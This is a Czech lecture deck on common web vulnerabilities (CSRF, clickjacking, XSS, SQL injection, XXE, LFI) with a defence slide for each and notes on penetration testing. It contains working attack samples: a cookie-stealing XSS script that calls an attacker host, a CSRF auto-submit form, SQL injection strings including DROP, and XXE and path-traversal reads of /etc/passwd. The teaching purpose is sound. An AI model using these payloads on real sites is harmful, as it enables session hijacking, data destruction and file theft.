Nejčastější webové zranitelnosti

Post on 04-Jun-2015

1,788 views 0 download

description

Slajdy z přednášky o nejčastějších webových zranitelnostech a penetračním testování.

transcript

Zranitelnosti webových aplikací

Testování webových aplikací

Roman Kümmel

Zranitelnosti webových aplikací

Bezpečnostní hrozby

Síťové prvky, servery

VPN, Remote desktop

Webové aplikace

Útoky proti uživatelům

Clickjacking

CSRF

CRLF injection

XSS

Útoky proti aplikaci

SQL injection

Forced browsing

Nezabezpečený upload

Local File Include

DoS, DDoS Sociotechnika Wi-Fi

XML External Entity

Zranitelnosti webových aplikací

Cross-Site Request Forgery (CSRF)

- Zneužití důvěry serveru v uživatele

- Nic netušící uživatel odešle serveru GET/POST požadavek

- Skript na serveru rozpozná uživatele podle cookie a požadavek pod identitou uživatele vykoná

- Může jít také o XMLHttpRequesty (AJAX požadavky)

Zranitelnosti webových aplikací

Cross-Site Request Forgery (CSRF) metoda GET

- Útočník odešle uživateli odkaz pro odeslání nebezpečného požadavku cílové aplikaci

- Možnost zneužití HTML prvků načítajících externí obsah

http://www.webmail.cz/remail?email=utocnik@seznam.cz

<img src=http://www.webmail.cz/remail?email=utocnik@seznam.cz>

Zranitelnosti webových aplikací

Cross-Site Request Forgery (CSRF) metoda POST

- Útočník vytvoří webovou stránku, která sama odešle nebezpečné požadavky cílové aplikaci ve chvíli, kdy ji (přihlášený) uživatel navštíví

- Pro utajení akce se formulář vloží do skrytého rámu

<form name=“fake“ method=“post“ action=“http://aplikace.cz/remail“> <input type=“hidden“ name=“email“ value=“utocnik@seznam.cz“> </form>

<script>document.fake.submit();</script>

Zranitelnosti webových aplikací

Cross-Site Request Forgery (CSRF)

- Kontrola HTTP hlavičky REFERER - Nedoporučuji, možnost odeslání požadavků bez této hlavičky

- Kontrola hlavičky ORIGIN u XMLHttpRequestů - Podobná situace jako u hlavičky Referer

- Přidání autorizačního tokenu ke všem požadavkům - Útočník nemůže připravit útočný požadavek bez jeho znalosti - Ideální je platnost tokenu časově omezit

OBRANA

http://aplikace.cz/remail?email=utocnik@seznam.cz&ticket=ba5e5aa2f472

Zranitelnosti webových aplikací

Bezpečnostní hrozby

Síťové prvky, servery

VPN, Remote desktop

Webové aplikace

Útoky proti uživatelům

Clickjacking

CSRF

CRLF injection

XSS

Útoky proti aplikaci

SQL injection

Forced browsing

DoS, DDoS Sociotechnika Wi-Fi

Nezabezpečený upload

Local File Include

XML External Entity

Zranitelnosti webových aplikací

Clickjacking

- Je-li nasazena ochrana před útoky CSRF

- Nic netušící uživatel sám klikne na prvek nebo vyplní a odešle formulář, bez toho, aby věděl, co vlastně dělá.

- Útok založen na možnosti načíst web. stránku do rámu

- Průhlednost rámu - Překrytí nechtěných prvků

- Vkládání údajů do aplikace, nebo krádež dat z aplikace.

Zranitelnosti webových aplikací

Clickjacking

- JavaScript FrameKiller - if (top.location != self.location) - Nedoporučuji

- možnost načtení zdrojáku view-source: - Lze vyřadit zneužitím XSS filtru

- HTTP Response Hlavička X-Frame Options - DENY - SAMEORIGIN - ALLOW-FROM

- Content Security Policy

OBRANA

Zranitelnosti webových aplikací

Bezpečnostní hrozby

Síťové prvky, servery

VPN, Remote desktop

Webové aplikace

Útoky proti uživatelům

Clickjacking

CSRF

CRLF injection

XSS

Útoky proti aplikaci

SQL injection

Forced browsing

DoS, DDoS Sociotechnika Wi-Fi

Nezabezpečený upload

Local File Include

XML External Entity

Zranitelnosti webových aplikací

Cross-Site Scripting (XSS)

- Spuštění JavaScriptu v uživatelově prohlížeči - Same Origin Policy brání přístupu k jiným doménám - Injekce skriptu do webové aplikace umožňuje přístup ke všem

jejím objektům (čtení/zápis) - Únos sezení - Změna nebo čtení uložených dat (podvržení přihlašovacích formulářů, atd.) - XSS proxy

- Typy zranitelnosti XSS - Perzistentní - Non-Perzistentní - DOM based

Zranitelnosti webových aplikací

Cross-Site Scripting (XSS)

<script> document.write (“<img src=‘http://utocnik.cz/save?cookie=‘+document.cookie>“);

</script>

Únos sezení – Session stealing

Zranitelnosti webových aplikací

Cross-Site Scripting (XSS)

<div>Uživatelský příspěvek: <script>alert(1)</script></div> ------------------------------------------------------------------------------------------ <form> <input type=“text“ value=““><script>alert(1)</script>“> </form> ------------------------------------------------------------------------------------------ <input type=“text“ value=““ onclick=“alert(1)“> ------------------------------------------------------------------------------------------ <script type="text/javascript"> DOT.cfg({service: 'firmy', query:‚''});alert(1);//'}); </script> ------------------------------------------------------------------------------------------ <a href=“javascript:alert(1)“>odkaz</a>

Zranitelnosti webových aplikací

Cross-Site Scripting (XSS)

var json = eval("(" + xhr.responseText + ")");

{"a":10, "b":20, "c":alert(1)} {"a":10, "b":20, "c":"alert(1)"}

“ + alert(“XSS“) + “

{“a“: ““ + alert(“XSS“) + ““} {“a“: “\“ + alert(\“XSS\“) + \““}

AJAX

Zranitelnosti webových aplikací

Cross-Site Scripting (XSS)

- Náhrada metaznaků “ ‘ & < > za HTML entity &lt;

- Escapování metaznaků v řetězcích JavaScriptu \‘

OBRANA

Zranitelnosti webových aplikací

Bezpečnostní hrozby

Síťové prvky, servery

VPN, Remote desktop

Webové aplikace

Útoky proti uživatelům

Clickjacking

CSRF

CRLF injection

XSS

Útoky proti aplikaci

SQL injection

Forced browsing

DoS, DDoS Sociotechnika Wi-Fi

Nezabezpečený upload

Local File Include

XML External Entity

Zranitelnosti webových aplikací

CRLF injection

Request: http://www.seznam.cz?foo=test Response: Status: Found - 302 Location: https://www.seznam.cz?foo=test

Zranitelnosti webových aplikací

CRLF injection

Injekce HTTP hlaviček vložením bílých znaků CR+LF Request: http://www.seznam.cz?foo=test%0D%0AHeader:Value Response: Status: Found - 302 Location: https://www.seznam.cz?foo=test Header: Value

Zranitelnosti webových aplikací

CRLF injection

- Ošetřit bílé znaky před vložením hodnoty do hlavičky - například URL encoding

OBRANA

Zranitelnosti webových aplikací

Bezpečnostní hrozby

Síťové prvky, servery

VPN, Remote desktop

Webové aplikace

Útoky proti uživatelům

Clickjacking

CSRF

CRLF injection

XSS

Útoky proti aplikaci

SQL injection

Forced browsing

DoS, DDoS Sociotechnika Wi-Fi

Nezabezpečený upload

Local File Include

XML External Entity

Zranitelnosti webových aplikací

SQL injection

www.webmail.cz?name=pepa $name = $_GET[‘name‘] $query = “SELECT * FROM database WHERE name=‘$name‘“

SELECT * FROM database WHERE name=‘pepa‘

Zranitelnosti webových aplikací

SQL injection

www.webmail.cz?name=‘ OR ‘a‘=‘a $name = $_GET[‘name‘] $query = “SELECT * FROM database WHERE name=‘$name‘“

SELECT * FROM database WHERE name=‘‘ OR ‘a‘=‘a‘ SELECT * FROM database WHERE name=‘‘; DROP database--‘

Zranitelnosti webových aplikací

SQL injection

Escapovat metaznaky (apostrofy) SELECT * FROM database WHERE name=‘\‘ OR \‘A\‘=\‘A‘

Zdvojovat metaznaky (apostrofy) SELECT * FROM database WHERE name=‘‘‘ OR ‘‘A ‘‘= ‘‘A‘

Používat uložené procedury, kontrolu na nižších vrstvách, prepared statement

Pozor na escapování u vícebajtových znakových sad! ‘ => \‘ %BF‘ => %BF\‘ addslashes() => mysql_real_escape_string()

magic_quotes

OBRANA

Zranitelnosti webových aplikací

SQL injection

www.webmail.cz?id=1 $id = $_GET[‘id‘] $query = “SELECT * FROM database WHERE id=$id“

SELECT * FROM database WHERE id=1

Zranitelnosti webových aplikací

SQL injection

www.webmail.cz?id=1 or 1=1 $id = $_GET[‘id‘] $query = “SELECT * FROM database WHERE id=$id“

SELECT * FROM database WHERE id=1 or 1=1

Zranitelnosti webových aplikací

SQL injection

Přetypováním: $id = (int)$_GET[‘id‘]

Uzavírání číselných hodnot do apostrofů + jejich ošetření www.webmail.cz?id=1 or 1=1 $query = “SELECT * FROM database WHERE id=‘$id‘“ SELECT * FROM database WHERE id=‘1 OR 1=1‘

www.webmail.cz?id=1‘ or ‘1‘=‘1 SELECT * FROM database WHERE id=‘1\‘ or \‘1\‘=\‘1‘

Uložené procedury, kontrola na nižších vrstvách, prepared statement

OBRANA

Zranitelnosti webových aplikací

Bezpečnostní hrozby

Síťové prvky, servery

VPN, Remote desktop

Webové aplikace

Útoky proti uživatelům

Clickjacking

CSRF

CRLF injection

XSS

Útoky proti aplikaci

SQL injection

Forced browsing

DoS, DDoS Sociotechnika Wi-Fi

Nezabezpečený upload

Local File Include

XML External Entity

Zranitelnosti webových aplikací

Forced browsing

- Procházení stránek změnou id v požadavku - Možnost získání celých databází

OBRANA - Nepoužívat id v požadavcích - Používat jedinečný identifikátor - Používání Captchy při mnoha požadavcích - Pozor na nedostatečnou autorizaci

Zranitelnosti webových aplikací

Bezpečnostní hrozby

Síťové prvky, servery

VPN, Remote desktop

Webové aplikace

Útoky proti uživatelům

Clickjacking

CSRF

CRLF injection

XSS

Útoky proti aplikaci

SQL injection

Forced browsing

DoS, DDoS Sociotechnika Wi-Fi

Nezabezpečený upload

Local File Include

XML External Entity

Zranitelnosti webových aplikací

XML External Entity (XXE)

- Full Path Disclosure - Cross-Site Scripting (XSS) - Server-Side Request Forgery (SSRF) - Scanning Internal Network - Denial of Service (DoS) - Local File Disclusion - atd.

Co s tím?

Zranitelnosti webových aplikací

XML External Entity (XXE)

<?xml version="1.0"?> <!DOCTYPE contacts [ <!ELEMENT contact (login,name)> <!ELEMENT login (#PCDATA)> <!ELEMENT name (#PCDATA)> ]> <contacts> <contact> <login>karel</login> <name>Karel Novotný</name> </contact> <contact> <login>jana</login> <name>Jana Nádherná</name> </contact> </contacts>

Struktura XML dokumentu

DTD (Document Type Definition)

Document Content

Zranitelnosti webových aplikací

XML External Entity (XXE)

<?xml version="1.0"?> <!DOCTYPE contacts [ <!ENTITY prijmeni "Novotný"> ]> <contacts> <contact> <login>karel</login> <name>Karel &prijmeni;</name> </contact> <contact> <login>petr</login> <name>Petr &prijmeni;</name> </contact> </contacts>

Interní entity v XML

<contacts> <contact> <login>karel</login> <name>Karel Novotný</name> </contact> <contact> <login>petr</login> <name>Petr Novotný</name> </contact> </contacts>

Zranitelnosti webových aplikací

XML External Entity (XXE)

<?xml version="1.0"?> <!DOCTYPE contacts [ <!ENTITY note SYSTEM "./note/novotny.txt "> ]> <contacts> <contact> <login>karel</login> <name>Karel Novotný</name> <note>&note;</note> </contact> </contacts>

Externí entity v XML

<contacts> <contact> <login>karel</login> <name>Karel Novotný</name> <note>Textová poznámka ze souboru</note> </contact> </contacts>

Zranitelnosti webových aplikací

XML External Entity (XXE)

<?xml version="1.0"?> <!DOCTYPE contacts [ <!ENTITY note SYSTEM „/etc/passwd"> ]> <contacts> <contact> <login>karel</login> <name>Karel Novotný</name> <note>&note;</note> </contact> </contacts>

Attack: Local File Disclusion

<contacts> <contact> <login>karel</login> <name>Karel Novotný</name> <note> root:!:0:0::/:/usr/bin/ksh daemon:!:1:1::/etc: bin:!:2:2::/bin: sys:!:3:3::/usr/sys: adm:!:4:4::/var/adm: uucp:!:5:5::/usr/lib/uucp: guest:!:100:100::/home/guest: lp:*:11:11::/var/spool/lp:/bin/false nuucp:*:6:5:uucp login Doe:/home/jdoe:/usr/bin/ksh

</note> </contact> </contacts>

Zranitelnosti webových aplikací

Bezpečnostní hrozby

Síťové prvky, servery

VPN, Remote desktop

Webové aplikace

Útoky proti uživatelům

Clickjacking

CSRF

CRLF injection

XSS

Útoky proti aplikaci

SQL injection

Forced browsing

DoS, DDoS Sociotechnika Wi-Fi

Nezabezpečený upload

Local File Include

XML External Entity

Zranitelnosti webových aplikací

Nezabezpečený upload

- Kontrolovat typ a strukturu uploadovaných dat - Konvertovat obrázky - Ošetřit bílé znaky a znaky pro procházení adresářů v

názvu uploadovaného souboru (použít nový název) - Zakázat spouštění skriptů v adresářích pro upload

OBRANA

- Upload serverového skriptu a jeho spuštění může vést k ovládnutí serveru

- Zneužití důvěryhodné domény k uploadu souborů sloužících k infikování počítačů konečných uživatelů

Zranitelnosti webových aplikací

Bezpečnostní hrozby

Síťové prvky, servery

VPN, Remote desktop

Webové aplikace

Útoky proti uživatelům

Clickjacking

CSRF

CRLF injection

XSS

Útoky proti aplikaci

SQL injection

Forced browsing

DoS, DDoS Sociotechnika Wi-Fi

Local File Include

XML External Entity

Nezabezpečený upload

Zranitelnosti webových aplikací

Local File Inclusion (disclosure)

- Možnost zobrazení nebo spuštění serverového skriptu

- Script lze na server dostat: - Uploadem souboru - Uploadem nakaženého obrázku - Přes cookies a session proměnné - Enviroment (proc/self/environ)

- Zneužitím logů (var/www/logs/access_log, apd.)

Zranitelnosti webových aplikací

Local File Inclusion (disclosure)

GET: webmail.cz?action=view.php $page = $_GET[“action“]; Include($page); webmail.cz?action=../../../../etc/passwd webmail.cz?action=../images/foto.jpg

Zranitelnosti webových aplikací

Local File Inclusion (disclosure)

- Vhodně nastavený webový server

- Neincludovat soubory na základě proměnné obdržené od uživatele

- Ošetřit výskyt sekvence ../

OBRANA

Zranitelnosti webových aplikací

Bezpečnostní hrozby

Síťové prvky, servery

VPN, Remote desktop

Webové aplikace

Útoky proti uživatelům

Clickjacking

CSRF

CRLF injection

XSS

Útoky proti aplikaci

SQL injection

Forced browsing

DoS, DDoS Sociotechnika Wi-Fi

http://webmail.hackingvpraxi.cz

Webmail použitý v ukázkách je dostupný na adrese

XML External Entity

Local File Include

Nezabezpečený upload

Zranitelnosti webových aplikací

Penetrační testování

Automatické vs.

manuální testování

Zranitelnosti webových aplikací

Automatické testování

- Klady - Rychlost - Odstraňují opakující se úkony (../ ../../ ../../../ ../../../../) - Hledání konfiguračních souborů - Fuzzing - apd.

- Zápory - Nelze se na ně plně spolehnout - Mnoho „false positive“ hlášení - Nedokáží odhalit reakce projevující se na jiných místech - Při důkladných testech se nelze manuálním testům vyhnout

Zranitelnosti webových aplikací

Manuální testování

- Klady - Důkladná analýza výstupu umožní lépe přizpůsobit

následné testy - Je možné odhalit i reakce projevující se na jiných místech

aplikace

- Zápory - Pentester je také jen člověk a může něco přehlédnout - Opakující se činnosti jsou časově náročné a vyčerpávající

Zranitelnosti webových aplikací

Jak zajišťujeme bezpečnost aplikací

v Seznam.cz

Zranitelnosti webových aplikací

- Vzděláváním vývojářů - Penetračním testováním betaverzí - Průběžnou kontrolou ostrých verzí - Vulnerability scanner (Acunetix) - Neodsuzujeme white hat hacking (BugTrack na SOOM.cz)

Jak zajišťujeme bezpečnost aplikací v Seznam.cz

Zabezpečení webových aplikací

Dotazy

Zranitelnosti webových aplikací

Děkuji za pozornost